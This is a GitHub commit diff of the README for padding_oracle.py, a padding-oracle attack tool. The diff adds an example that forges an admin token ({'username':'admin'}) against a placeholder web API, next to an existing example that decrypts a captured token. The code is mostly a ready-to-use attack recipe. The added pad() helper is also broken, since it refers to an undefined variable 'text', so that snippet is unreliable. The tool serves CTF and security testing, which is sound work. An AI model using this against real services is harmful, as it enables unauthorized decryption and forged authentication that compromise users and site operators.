Skip to content

Commit 5fc4f43

Browse files
committed
Updated README
added demonstration of encryption mode to README
1 parent a24acdf commit 5fc4f43

File tree

1 file changed

+38
-1
lines changed

1 file changed

+38
-1
lines changed

README.md

Lines changed: 38 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
12
# Padding Oracle Python Automation Script
23

34
![python-package-badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
@@ -30,7 +31,7 @@ Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from ED
3031
| 64 | 56s |
3132

3233
## How to Use
33-
34+
### Decryption
3435
To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
3536

3637
```python
@@ -63,6 +64,42 @@ plaintext = padding_oracle(
6364
num_threads = 16,
6465
)
6566
```
67+
### Encryption
68+
To illustrate the usage, consider an example of forging a token for`https://vulnerable.website/api/?token=<.....>`:
69+
70+
```python
71+
from padding_oracle import padding_oracle, base64_encode, base64_decode
72+
import requests
73+
74+
sess = requests.Session() # use connection pool
75+
url = 'https://vulnerable.website/api/'
76+
77+
def oracle(ciphertext: bytes):
78+
resp = sess.get(url, params={'token': base64_encode(ciphertext)})
79+
80+
if 'failed' in resp.text:
81+
return False # e.g. token decryption failed
82+
elif 'success' in resp.text:
83+
return True
84+
else:
85+
raise RuntimeError('unexpected behavior')
86+
87+
def pad(data: bytes, block_size=16):
88+
pad_value = block_size - len(data) % block_size
89+
return text + bytearray([pad_value for i in range(pad_value)])
90+
91+
payload: bytes =b"{'username':'admin'}"
92+
payload = pad(payload)
93+
assert len(payload) % 16 == 0
94+
95+
ciphertext = padding_oracle(
96+
payload,
97+
block_size = 16,
98+
oracle = oracle,
99+
num_threads = 16,
100+
mode = 'encrypt'
101+
)
102+
```
66103

67104
In addition, the package provides PHP-like encoding/decoding functions:
68105

0 commit comments

Comments
 (0)